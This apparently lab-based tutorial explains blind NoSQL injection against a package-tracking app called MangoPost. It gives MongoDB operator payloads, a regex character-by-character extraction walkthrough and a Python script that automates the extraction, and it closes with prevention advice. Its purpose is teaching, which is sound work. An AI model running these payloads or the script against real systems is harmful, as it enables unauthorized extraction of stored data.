Blind Data Extraction
Blind NoSQL injection occurs when we can inject queries but cannot directly see the results. Instead, we must infer information from the application's behavior (true/false responses).
MangoPost Example
A package tracking application where you enter a tracking number to get shipment information.
Vulnerable Query
The application sends JSON data (not URL-encoded) and likely queries:
db.tracking.find({
trackingNum: <trackingNum from JSON>
});Oracle-Based Extraction
We can ask the server true/false questions and infer data from responses:
True response (package exists):
{"trackingNum": {"$ne": "x"}}False response (no package):
{"trackingNum": {"$eq": "x"}}Character-by-Character Extraction
Step 1: Find Any Package
Start with a regex that matches all documents:
{"trackingNum": {"$regex": "^.*"}}This returns Franz Pflaumenbaum's package info.
Step 2: Extract First Character
Test each possible first character:
{"trackingNum": {"$regex": "^0.*"}} // No match
{"trackingNum": {"$regex": "^1.*"}} // No match
{"trackingNum": {"$regex": "^2.*"}} // No match
{"trackingNum": {"$regex": "^3.*"}} // Match! First char is '3'Step 3: Extract Second Character
Continue with the known first character:
{"trackingNum": {"$regex": "^30.*"}} // No match
{"trackingNum": {"$regex": "^31.*"}} // No match
{"trackingNum": {"$regex": "^32.*"}} // Match! Second char is '2'Step 4: Continue Until Complete
Repeat the process for each character position:
{"trackingNum": {"$regex": "^32A.*"}} // Third char is 'A'
{"trackingNum": {"$regex": "^32A7.*"}} // Fourth char is '7'
{"trackingNum": {"$regex": "^32A76.*"}} // Fifth char is '6'
{"trackingNum": {"$regex": "^32A766.*"}} // Sixth char is '6'Step 5: Verify Complete String
Use $ to mark end of string:
{"trackingNum": {"$regex": "^32A766$"}} // Verify complete tracking numberCharacter Set Considerations
When extracting data, consider:
Numbers: 0-9
Letters: A-Z, a-z
Special characters: Based on application context
Case sensitivity: Test both uppercase and lowercase
Automation Script Template
import requests
import string
def blind_extract(base_url, target_regex):
"""Extract data using blind NoSQL injection"""
characters = string.ascii_letters + string.digits + "_-"
extracted = ""
while True:
found = False
for char in characters:
test_regex = f"^{extracted}{char}.*"
payload = {"trackingNum": {"$regex": test_regex}}
response = requests.post(base_url, json=payload)
if "package info" in response.text: # Success indicator
extracted += char
found = True
print(f"Found: {extracted}")
break
if not found:
break
return extractedKey Points
Oracle responses: Use application behavior to infer data
Regex anchoring: Use
^for start,$for end of stringCharacter sets: Test numbers, letters, and special characters
Automation: Script the process for efficiency
Verification: Always verify complete strings with
$anchor
Prevention
Validate and sanitize all user input
Use parameterized queries
Implement rate limiting to prevent automated attacks
Log and monitor suspicious query patterns
Consider using MongoDB's built-in security features
Last updated